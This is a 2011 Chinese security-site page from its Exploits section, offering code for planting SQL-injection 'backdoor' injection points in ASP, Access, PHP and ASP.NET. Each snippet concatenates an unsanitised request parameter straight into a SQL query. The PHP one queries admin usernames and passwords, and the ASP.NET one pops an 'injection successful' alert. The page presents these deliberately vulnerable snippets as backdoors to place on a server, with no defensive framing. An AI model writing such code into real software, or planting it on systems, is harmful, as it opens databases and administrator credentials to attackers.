首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
构造注入点后门代码(asp,aspx,php)
来源:vfocus.net 作者:vfocus 发布时间:2011-08-30  

/**************************Mssql***********************/
<!–#include file=”conn.asp”–>
<%
hid=request.QueryString(“id”)
sql=”select * from admin where id=”&hid
set rs=conn.execute (sql)
%>

/**************************Access***********************/
<%
db=”aspzhuru.mdb”‘这里修改数据库路径或名称
Set conn = Server.CreateObject(“ADODB.Connection”)
dbpath=”Provider=Microsoft.Jet.OLEDB.4.0;Data Source=” & Server.MapPath(db)
conn.Open dbpath
%>

/**************************php***********************/
<?
$mysql_server_name = “localhost”;
    $mysql_username    = “root”;
    $mysql_password    = “password”;
    $mysql_database    = “phpzr”;
    $conn=mysql_connect( $mysql_server_name, $mysql_username, $mysql_password );
    mysql_select_db($mysql_database,$conn);
$id=$_GET['id'];
    $sql = “select username,password from admin where id=$id”;
    $result=mysql_db_query( $mysql_database, $sql,$conn );  
    $row=mysql_fetch_row($result);
?>

/**************************ASPx***********************/
/******放到代码文件.cs里面***********************/

using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Data.SqlClient;
public partial class Default2 : System.Web.UI.Page
{
 
protected void Page_Load(object sender, EventArgs e)
    {
        SqlConnection conn = new SqlConnection();
        conn.ConnectionString = ConfigurationManager.ConnectionStrings["StudyConnectionString"].ToString();
        conn.Open();
        SqlCommand cmd = new SqlCommand(“select * from [table] where id= ” + this.Page.Request.Params["getid"], conn);
        cmd.ExecuteNonQuery();
        this.Page.RegisterClientScriptBlock(“script”, “<script>alert(‘注射成功’)</script>”);
    }
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DVD X Player 5.5 Professional
·Rainer v0.1 by localh0t
·Free MP3 CD Ripper 1.1 Buffer
·mp3 Kaydet Local Buffer Overfl
·Windows7/win2008 提权0day
·DVD X Player 5.5.0 Pro / Stand
·Citrix Gateway ActiveX Control
·Linux Kernel 'perf_count_sw_cp
·DVD X Player 5.5 .plf PlayList
·Apache httpd Remote Denial of
·BroadWin WebAccess Client Mult
·HTTPKiller - FHTTP Kit by Xian
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved